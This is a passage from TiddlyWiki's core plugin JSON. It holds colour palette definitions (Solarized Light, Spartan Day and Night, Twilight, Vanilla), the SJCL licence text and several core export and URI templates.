pre-border: <<colour pre-background>>\n sidebar-tab-background-selected: <<colour page-background>>\n table-header-background: <<colour base2>>\n tag-background: <<colour base2>>\n tiddler-editor-background: <<colour base2>>\n tiddler-info-background: <<colour base2>>\n tiddler-info-tab-background: <<colour base2>>\n tab-background: <<colour base2>>\n dropdown-tab-background: <<colour tab-background>>\n: base3\n alert-background: <<colour base3>>\n message-background: <<colour base3>>\n: yellow\n: orange\n: red\n: magenta\n alert-highlight: <<colour magenta>>\n: violet\n external-link-foreground: <<colour violet>>\n: blue\n: cyan\n: green\n: base10\n tiddler-controls-foreground: <<colour base10>>\n: violet-muted\n external-link-foreground-visited: <<colour violet-muted>>\n: blue-muted\n primary: <<colour blue-muted>>\n download-background: <<colour primary>>\n tiddler-link-foreground: <<colour primary>>\n\nalert-border: #b99e2f\ndirty-indicator: #ff0000\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nmessage-border: #cfd6e6\nmodal-border: #999999\nselect-tag-background:\nselect-tag-foreground:\nsidebar-controls-foreground-hover:\nsidebar-muted-foreground-hover:\nsidebar-tab-background: #ded8c5\nsidebar-tiddler-link-foreground-hover:\nstatic-alert-foreground: #aaaaaa\ntab-border: #cccccc\n modal-footer-border: <<colour tab-border>>\n modal-header-border: <<colour tab-border>>\n notification-border: <<colour tab-border>>\n sidebar-tab-border: <<colour tab-border>>\n tab-border-selected: <<colour tab-border>>\n sidebar-tab-border-selected: <<colour tab-border-selected>>\ntab-divider: #d8d8d8\n sidebar-tab-divider: <<colour tab-divider>>\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-border: #dddddd\ntiddler-subtitle-foreground: #c0c0c0\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
},
"$:/palettes/SolarizedLight": {
"title": "$:/palettes/SolarizedLight",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"description": "Precision colors for machines and people",
"license": "MIT, Ethan Schoonover, https://github.com/altercation/solarized/blob/master/LICENSE",
"name": "SolarizedLight",
"text": "alert-background: #eee8d5\nalert-border: #073642\nalert-highlight: #cb4b16\nalert-muted-foreground: #586e75\nbackground: #fdf6e3\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: #cb4b16\nbutton-foreground: #fdf6e3\nbutton-border: transparent\ncode-background: #eee8d5\ncode-border: #93a1a1\ncode-foreground: #d33682\ndiff-delete-background: #BF616A\ndiff-delete-foreground: <<colour foreground>>\ndiff-equal-background: \ndiff-equal-foreground: <<colour foreground>>\ndiff-insert-background: #859900\ndiff-insert-foreground: <<colour foreground>>\ndiff-invisible-background: \ndiff-invisible-foreground: <<colour muted-foreground>>\ndirty-indicator: #D08770\ndownload-background: #859900\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour background>>\ndropdown-tab-background-selected: #fdf6e3\ndropdown-tab-background: #93a1a1\ndropzone-background: #859900\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: #d33682\nexternal-link-foreground-visited: #b58900\nexternal-link-foreground: #cb4b16\nforeground: #839496\nmessage-background: #586e75\nmessage-border: #586e75\nmessage-foreground: #eee8d5\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #eee8d5\nmodal-footer-background: #eee8d5\nmodal-footer-border: #eee8d5\nmodal-header-border: #eee8d5\nmuted-foreground: #93a1a1\nnotification-background: #EBCB8B\nnotification-border: #D08770\npage-background: #eee8d5\npre-background: #eee8d5\npre-border: #93a1a1\nprimary: #2aa198\nselect-tag-background: #eee8d5\nselect-tag-foreground: <<colour foreground>>\nsidebar-button-foreground: #eee8d5\nsidebar-controls-foreground-hover: #268bd2\nsidebar-controls-foreground: #586e75\nsidebar-foreground-shadow: transparent\nsidebar-foreground: #839496\nsidebar-muted-foreground-hover: #657b83\nsidebar-muted-foreground: #93a1a1\nsidebar-tab-background-selected: #eee8d5\nsidebar-tab-background: #839496\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: #657b83\nsidebar-tab-divider: <<colour page-background>>\nsidebar-tab-foreground-selected: #839496\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #859900\nsidebar-tiddler-link-foreground: #268bd2\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #dc322f\ntab-background-selected: #fdf6e3\ntab-background: #839496\ntab-border-selected: #93a1a1\ntab-border: #93a1a1\ntab-divider: #fdf6e3\ntab-foreground-selected: #839496\ntab-foreground: #eee8d5\ntable-border: #657b83\ntable-footer-background: #657b83\ntable-header-background: #93a1a1\ntag-background: #6c71c4\ntag-foreground: #eee8d5\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #b58900\ntiddler-controls-foreground-selected: #b58900\ntiddler-controls-foreground: #073642\ntiddler-editor-background: #eee8d5\ntiddler-editor-border-image: #eee8d5\ntiddler-editor-border: #eee8d5\ntiddler-editor-fields-even: #eee8d5\ntiddler-editor-fields-odd: #fdf6e3\ntiddler-info-background: #eee8d5\ntiddler-info-border: #eee8d5\ntiddler-info-tab-background: #586e75\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #586e75\ntiddler-title-foreground: #073642\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #839496\nvery-muted-foreground: #93a1a1\n"
},
"$:/palettes/SpartanDay": {
"title": "$:/palettes/SpartanDay",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"description": "Cold, spartan day colors",
"name": "Spartan Day",
"text": "alert-background: <<colour background>>\nalert-border: <<colour very-muted-foreground>>\nalert-highlight: <<colour very-muted-foreground>>\nalert-muted-foreground: <<colour muted-foreground>>\nbackground: #FAFAFA\nblockquote-bar: <<colour page-background>>\nbutton-background: transparent\nbutton-foreground: inherit\nbutton-border: <<colour tag-background>>\ncode-background: #ececec\ncode-border: #ececec\ncode-foreground: \ndirty-indicator: #c80000\ndownload-background: <<colour primary>>\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: #FFFFFF\ndropdown-border: <<colour dropdown-background>>\ndropdown-tab-background-selected: <<colour dropdown-background>>\ndropdown-tab-background: #F5F5F5\ndropzone-background: <<colour tag-background>>\nexternal-link-background-hover: transparent\nexternal-link-background-visited: transparent\nexternal-link-background: transparent\nexternal-link-foreground-hover: \nexternal-link-foreground-visited: \nexternal-link-foreground: \nforeground: rgba(0, 0, 0, 0.87)\nmessage-background: <<colour background>>\nmessage-border: <<colour very-muted-foreground>>\nmessage-foreground: rgba(0, 0, 0, 0.54)\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: <<colour very-muted-foreground>>\nmodal-footer-background: <<colour background>>\nmodal-footer-border: <<colour very-muted-foreground>>\nmodal-header-border: <<colour very-muted-foreground>>\nmuted-foreground: rgba(0, 0, 0, 0.54)\nnotification-background: <<colour dropdown-background>>\nnotification-border: <<colour dropdown-background>>\npage-background: #f4f4f4\npre-background: #ececec\npre-border: #ececec\nprimary: #3949ab\nselect-tag-background: <<colour background>>\nselect-tag-foreground: <<colour foreground>>\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #aeaeae\nsidebar-controls-foreground: #c6c6c6\nsidebar-foreground-shadow: transparent\nsidebar-foreground: rgba(0, 0, 0, 0.54)\nsidebar-muted-foreground-hover: rgba(0, 0, 0, 0.54)\nsidebar-muted-foreground: rgba(0, 0, 0, 0.38)\nsidebar-tab-background-selected: <<colour page-background>>\nsidebar-tab-background: transparent\nsidebar-tab-border-selected: <<colour table-border>>\nsidebar-tab-border: transparent\nsidebar-tab-divider: <<colour table-border>>\nsidebar-tab-foreground-selected: rgba(0, 0, 0, 0.87)\nsidebar-tab-foreground: rgba(0, 0, 0, 0.54)\nsidebar-tiddler-link-foreground-hover: rgba(0, 0, 0, 0.87)\nsidebar-tiddler-link-foreground: rgba(0, 0, 0, 0.54)\nsite-title-foreground: rgba(0, 0, 0, 0.87)\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: transparent\ntab-border-selected: <<colour table-border>>\ntab-border: transparent\ntab-divider: <<colour table-border>>\ntab-foreground-selected: rgba(0, 0, 0, 0.87)\ntab-foreground: rgba(0, 0, 0, 0.54)\ntable-border: #d8d8d8\ntable-footer-background: <<colour tiddler-editor-fields-odd>>\ntable-header-background: <<colour tiddler-editor-fields-even>>\ntag-background: #ec6\ntag-foreground: <<colour button-foreground>>\ntiddler-background: <<colour background>>\ntiddler-border: #f9f9f9\ntiddler-controls-foreground-hover: <<colour sidebar-controls-foreground-hover>>\ntiddler-controls-foreground-selected: <<colour sidebar-controls-foreground-hover>>\ntiddler-controls-foreground: <<colour sidebar-controls-foreground>>\ntiddler-editor-background: transparent\ntiddler-editor-border-image: \ntiddler-editor-border: #e8e7e7\ntiddler-editor-fields-even: rgba(0, 0, 0, 0.1)\ntiddler-editor-fields-odd: rgba(0, 0, 0, 0.04)\ntiddler-info-background: #F5F5F5\ntiddler-info-border: #F5F5F5\ntiddler-info-tab-background: <<colour tiddler-editor-fields-odd>>\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: <<colour muted-foreground>>\ntiddler-title-foreground: #000000\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: <<colour very-muted-foreground>>\nvery-muted-foreground: rgba(0, 0, 0, 0.12)\n"
},
"$:/palettes/SpartanNight": {
"title": "$:/palettes/SpartanNight",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"description": "Dark spartan colors",
"name": "Spartan Night",
"text": "alert-background: <<colour background>>\nalert-border: <<colour very-muted-foreground>>\nalert-highlight: <<colour very-muted-foreground>>\nalert-muted-foreground: <<colour muted-foreground>>\nbackground: #303030\nblockquote-bar: <<colour page-background>>\nbutton-background: transparent\nbutton-foreground: inherit\nbutton-border: <<colour tag-background>>\ncode-background: <<colour pre-background>>\ncode-border: <<colour pre-border>>\ncode-foreground: rgba(255, 255, 255, 0.54)\ndirty-indicator: #c80000\ndownload-background: <<colour primary>>\ndownload-foreground: <<colour foreground>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: #424242\ndropdown-border: <<colour dropdown-background>>\ndropdown-tab-background-selected: <<colour dropdown-background>>\ndropdown-tab-background: #050505\ndropzone-background: <<colour tag-background>>\nexternal-link-background-hover: transparent\nexternal-link-background-visited: transparent\nexternal-link-background: transparent\nexternal-link-foreground-hover: \nexternal-link-foreground-visited: #7c318c\nexternal-link-foreground: #9e3eb3\nforeground: rgba(255, 255, 255, 0.7)\nmessage-background: <<colour background>>\nmessage-border: <<colour very-muted-foreground>>\nmessage-foreground: rgba(255, 255, 255, 0.54)\nmodal-backdrop: <<colour page-background>>\nmodal-background: <<colour background>>\nmodal-border: <<colour very-muted-foreground>>\nmodal-footer-background: <<colour background>>\nmodal-footer-border: <<colour background>>\nmodal-header-border: <<colour very-muted-foreground>>\nmuted-foreground: rgba(255, 255, 255, 0.54)\nnotification-background: <<colour dropdown-background>>\nnotification-border: <<colour dropdown-background>>\npage-background: #212121\npre-background: #2a2a2a\npre-border: transparent\nprimary: #5656f3\nselect-tag-background: <<colour background>>\nselect-tag-foreground: <<colour foreground>>\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #494949\nsidebar-controls-foreground: #5d5d5d\nsidebar-foreground-shadow: transparent\nsidebar-foreground: rgba(255, 255, 255, 0.54)\nsidebar-muted-foreground-hover: rgba(255, 255, 255, 0.54)\nsidebar-muted-foreground: rgba(255, 255, 255, 0.38)\nsidebar-tab-background-selected: <<colour page-background>>\nsidebar-tab-background: transparent\nsidebar-tab-border-selected: <<colour table-border>>\nsidebar-tab-border: transparent\nsidebar-tab-divider: <<colour table-border>>\nsidebar-tab-foreground-selected: rgba(255, 255, 255, 0.87)\nsidebar-tab-foreground: rgba(255, 255, 255, 0.54)\nsidebar-tiddler-link-foreground-hover: rgba(255, 255, 255, 0.7)\nsidebar-tiddler-link-foreground: rgba(255, 255, 255, 0.54)\nsite-title-foreground: rgba(255, 255, 255, 0.7)\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: transparent\ntab-border-selected: <<colour table-border>>\ntab-border: transparent\ntab-divider: <<colour table-border>>\ntab-foreground-selected: rgba(255, 255, 255, 0.87)\ntab-foreground: rgba(255, 255, 255, 0.54)\ntable-border: #3a3a3a\ntable-footer-background: <<colour tiddler-editor-fields-odd>>\ntable-header-background: <<colour tiddler-editor-fields-even>>\ntag-background: #ec6\ntag-foreground: <<colour button-foreground>>\ntiddler-background: <<colour background>>\ntiddler-border: rgb(55,55,55)\ntiddler-controls-foreground-hover: <<colour sidebar-controls-foreground-hover>>\ntiddler-controls-foreground-selected: <<colour sidebar-controls-foreground-hover>>\ntiddler-controls-foreground: <<colour sidebar-controls-foreground>>\ntiddler-editor-background: transparent\ntiddler-editor-border-image: \ntiddler-editor-border: rgba(255, 255, 255, 0.08)\ntiddler-editor-fields-even: rgba(255, 255, 255, 0.1)\ntiddler-editor-fields-odd: rgba(255, 255, 255, 0.04)\ntiddler-info-background: #454545\ntiddler-info-border: #454545\ntiddler-info-tab-background: <<colour tiddler-editor-fields-odd>>\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: <<colour muted-foreground>>\ntiddler-title-foreground: #FFFFFF\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: <<colour very-muted-foreground>>\nvery-muted-foreground: rgba(255, 255, 255, 0.12)\n"
},
"$:/palettes/Twilight": {
"title": "$:/palettes/Twilight",
"tags": "$:/tags/Palette",
"author": "Thomas Elmiger",
"type": "application/x-tiddler-dictionary",
"name": "Twilight",
"description": "Delightful, soft darkness.",
"text": "alert-background: rgb(255, 255, 102)\nalert-border: rgb(232, 232, 125)\nalert-highlight: rgb(255, 51, 51)\nalert-muted-foreground: rgb(224, 82, 82)\nbackground: rgb(38, 38, 38)\nblockquote-bar: rgba(240, 196, 117, 0.7)\nbutton-background: rgb(63, 63, 63)\nbutton-border: rgb(127, 127, 127)\nbutton-foreground: rgb(179, 179, 179)\ncode-background: rgba(0,0,0,0.03)\ncode-border: rgba(0,0,0,0.08)\ncode-foreground: rgb(255, 94, 94)\ndiff-delete-background: #ffc9c9\ndiff-delete-foreground: <<colour foreground>>\ndiff-equal-background: \ndiff-equal-foreground: <<colour foreground>>\ndiff-insert-background: #aaefad\ndiff-insert-foreground: <<colour foreground>>\ndiff-invisible-background: \ndiff-invisible-foreground: <<colour muted-foreground>>\ndirty-indicator: rgb(255, 94, 94)\ndownload-background: #19a974\ndownload-foreground: rgb(38, 38, 38)\ndragger-background: rgb(179, 179, 179)\ndragger-foreground: rgb(38, 38, 38)\ndropdown-background: rgb(38, 38, 38)\ndropdown-border: rgb(255, 255, 255)\ndropdown-tab-background: rgba(0,0,0,.1)\ndropdown-tab-background-selected: rgba(255,255,255,1)\ndropzone-background: #9eebcf\nexternal-link-background: inherit\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-foreground: rgb(179, 179, 255)\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: rgb(153, 153, 255)\nforeground: rgb(179, 179, 179)\nmessage-background: <<colour tag-foreground>>\nmessage-border: #96ccff\nmessage-foreground: <<colour tag-background>>\nmodal-backdrop: rgb(179, 179, 179)\nmodal-background: rgb(38, 38, 38)\nmodal-border: rgba(0,0,0,.5)\nmodal-footer-background: #f4f4f4\nmodal-footer-border: rgba(0,0,0,.1)\nmodal-header-border: rgba(0,0,0,.2)\nmuted-foreground: rgb(255, 255, 255)\nnotification-background: <<colour tag-foreground>>\nnotification-border: <<colour tag-background>>\npage-background: rgb(26, 26, 26)\npre-background: rgb(25, 25, 25)\npre-border: rgba(0,0,0,.2)\nprimary: rgb(255, 201, 102)\nselect-tag-background: \nselect-tag-foreground: \nsidebar-button-foreground: rgb(179, 179, 179)\nsidebar-controls-foreground: rgb(153, 153, 153)\nsidebar-controls-foreground-hover: <<colour tiddler-controls-foreground-hover>>\nsidebar-foreground: rgb(141, 141, 141)\nsidebar-foreground-shadow: transparent\nsidebar-muted-foreground: rgba(0, 0, 0, 0.5)\nsidebar-muted-foreground-hover: rgb(141, 141, 141)\nsidebar-tab-background: rgba(141, 141, 141, 0.2)\nsidebar-tab-background-selected: rgb(26, 26, 26)\nsidebar-tab-border: rgb(127, 127, 127)\nsidebar-tab-border-selected: rgb(127, 127, 127)\nsidebar-tab-divider: rgb(127, 127, 127)\nsidebar-tab-foreground: rgb(179, 179, 179)\nsidebar-tab-foreground-selected: rgb(179, 179, 179)\nsidebar-tiddler-link-foreground: rgb(179, 179, 179)\nsidebar-tiddler-link-foreground-hover: rgb(115, 115, 115)\nsite-title-foreground: rgb(255, 201, 102)\nstatic-alert-foreground: rgba(0,0,0,.3)\ntab-background: rgba(0,0,0,0.125)\ntab-background-selected: rgb(38, 38, 38)\ntab-border: rgb(255, 201, 102)\ntab-border-selected: rgb(255, 201, 102)\ntab-divider: rgb(255, 201, 102)\ntab-foreground: rgb(179, 179, 179)\ntab-foreground-selected: rgb(179, 179, 179)\ntable-border: rgba(255,255,255,.3)\ntable-footer-background: rgba(0,0,0,.4)\ntable-header-background: rgba(0,0,0,.1)\ntag-background: rgb(255, 201, 102)\ntag-foreground: rgb(25, 25, 25)\ntiddler-background: rgb(38, 38, 38)\ntiddler-border: rgba(240, 196, 117, 0.7)\ntiddler-controls-foreground: rgb(128, 128, 128)\ntiddler-controls-foreground-hover: rgba(255, 255, 255, 0.8)\ntiddler-controls-foreground-selected: rgba(255, 255, 255, 0.9)\ntiddler-editor-background: rgb(33, 33, 33)\ntiddler-editor-border: rgb(63, 63, 63)\ntiddler-editor-border-image: rgb(25, 25, 25)\ntiddler-editor-fields-even: rgb(33, 33, 33)\ntiddler-editor-fields-odd: rgb(28, 28, 28)\ntiddler-info-background: rgb(43, 43, 43)\ntiddler-info-border: rgb(25, 25, 25)\ntiddler-info-tab-background: rgb(43, 43, 43)\ntiddler-link-background: rgb(38, 38, 38)\ntiddler-link-foreground: rgb(204, 204, 255)\ntiddler-subtitle-foreground: rgb(255, 255, 255)\ntiddler-title-foreground: rgb(255, 192, 76)\ntoolbar-cancel-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-done-button: \ntoolbar-edit-button: \ntoolbar-info-button: \ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \nuntagged-background: rgb(255, 255, 255)\nvery-muted-foreground: rgba(240, 196, 117, 0.7)\n"
},
"$:/palettes/Vanilla": {
"title": "$:/palettes/Vanilla",
"name": "Vanilla",
"description": "Pale and unobtrusive",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndiff-delete-background: #ffc9c9\ndiff-delete-foreground: <<colour foreground>>\ndiff-equal-background: \ndiff-equal-foreground: <<colour foreground>>\ndiff-insert-background: #aaefad\ndiff-insert-foreground: <<colour foreground>>\ndiff-invisible-background: \ndiff-invisible-foreground: <<colour muted-foreground>>\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #bbb\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #f4f4f4\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #5778d8\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #aaaaaa\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #f4f4f4\nsidebar-tab-background: #e0e0e0\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: #e4e4e4\nsidebar-tab-foreground-selected:\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #999999\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ec6\ntag-foreground: #ffffff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #182955\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\nwikilist-background: #e5e5e5\nwikilist-item: #fff\nwikilist-info: #000\nwikilist-title: #666\nwikilist-title-svg: <<colour wikilist-title>>\nwikilist-url: #aaa\nwikilist-button-open: #4fb82b\nwikilist-button-open-hover: green\nwikilist-button-reveal: #5778d8\nwikilist-button-reveal-hover: blue\nwikilist-button-remove: #d85778\nwikilist-button-remove-hover: red\nwikilist-toolbar-background: #d3d3d3\nwikilist-toolbar-foreground: #888\nwikilist-droplink-dragover: rgba(255,192,192,0.5)\nwikilist-button-background: #acacac\nwikilist-button-foreground: #000\n"
},
"$:/core/readme": {
"title": "$:/core/readme",
"text": "This plugin contains TiddlyWiki's core components, comprising:\n\n* JavaScript code modules\n* Icons\n* Templates needed to create TiddlyWiki's user interface\n* British English (''en-GB'') translations of the localisable strings used by the core\n"
},
"$:/library/sjcl.js/license": {
"title": "$:/library/sjcl.js/license",
"type": "text/plain",
"text": "SJCL is open. You can use, modify and redistribute it under a BSD\nlicense or under the GNU GPL, version 2.0.\n\n---------------------------------------------------------------------\n\nhttp://opensource.org/licenses/BSD-2-Clause\n\nCopyright (c) 2009-2015, Emily Stark, Mike Hamburg and Dan Boneh at\nStanford University. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\n1. Redistributions of source code must retain the above copyright\nnotice, this list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright\nnotice, this list of conditions and the following disclaimer in the\ndocumentation and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\nIS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\nTO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nHOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\nTO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\nPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\nNEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n---------------------------------------------------------------------\n\nhttp://opensource.org/licenses/GPL-2.0\n\nThe Stanford Javascript Crypto Library (hosted here on GitHub) is a\nproject by the Stanford Computer Security Lab to build a secure,\npowerful, fast, small, easy-to-use, cross-browser library for\ncryptography in Javascript.\n\nCopyright (c) 2009-2015, Emily Stark, Mike Hamburg and Dan Boneh at\nStanford University.\n\nThis program is free software; you can redistribute it and/or modify it\nunder the terms of the GNU General Public License as published by the\nFree Software Foundation; either version 2 of the License, or (at your\noption) any later version.\n\nThis program is distributed in the hope that it will be useful, but\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\n\nYou should have received a copy of the GNU General Public License along\nwith this program; if not, write to the Free Software Foundation, Inc.,\n59 Temple Place, Suite 330, Boston, MA 02111-1307 USA"
},
"$:/core/templates/MOTW.html": {
"title": "$:/core/templates/MOTW.html",
"text": "\\rules only filteredtranscludeinline transcludeinline entity\n<!-- The following comment is called a MOTW comment and is necessary for the TiddlyIE Internet Explorer extension -->\n<!-- saved from url=(0021)https://tiddlywiki.com --> "
},
"$:/core/templates/alltiddlers.template.html": {
"title": "$:/core/templates/alltiddlers.template.html",
"type": "text/vnd.tiddlywiki-html",
"text": "<!-- This template is provided for backwards compatibility with older versions of TiddlyWiki -->\n\n<$set name=\"exportFilter\" value=\"[!is[system]sort[title]]\">\n\n{{$:/core/templates/exporters/StaticRiver}}\n\n</$set>\n"
},
"$:/core/templates/canonical-uri-external-image": {
"title": "$:/core/templates/canonical-uri-external-image",
"text": "<!--\n\nThis template is used to assign the ''_canonical_uri'' field to external images.\n\nChange the `./images/` part to a different base URI. The URI can be relative or absolute.\n\n-->\n./images/<$view field=\"title\" format=\"doubleurlencoded\"/>"
},
"$:/core/templates/canonical-uri-external-raw": {
"title": "$:/core/templates/canonical-uri-external-raw",
"text": "<!--\n\nThis template is used to assign the ''_canonical_uri'' field to external raw files that are stored in the same directory\n\n-->\n<$view field=\"title\" format=\"doubleurlencoded\"/>"
},
"$:/core/templates/canonical-uri-external-text": {
"title": "$:/core/templates/canonical-uri-external-text",
"text": "<!--\n\nThis template is used to assign the ''_canonical_uri'' field to external text files.\n\nChange the `./text/` part to a different base URI. The URI can be relative or absolute.\n\n-->\n./text/<$view field=\"title\" format=\"doubleurlencoded\"/>.tid"
},
"$:/core/templates/css-tiddler": {
"title": "$:/core/templates/css-tiddler",
"text": "<!--\n\nThis template is used for saving CSS tiddlers as a style tag with data attributes representing the tiddler fields.\n\n-->`<style`<$fields template=' data-tiddler-$name$=\"$encoded_value$\"'></$fields>` type=\"text/css\">`<$view field=\"text\" format=\"text\" />`</style>`"
},
"$:/core/templates/exporters/CsvFile": {
"title": "$:/core/templates/exporters/CsvFile",
"tags": "$:/tags/Exporter",
"description": "{{$:/language/Exporters/CsvFile}}",
"extension": ".csv",
"text": "\\define renderContent()\n<$text text=<<csvtiddlers filter:\"\"\"$(exportFilter)$\"\"\" format:\"quoted-comma-sep\">>/>\n\\end\n<<renderContent>>\n"
},
"$:/core/templates/exporters/JsonFile": {
"title": "$:/core/templates/exporters/JsonFile",
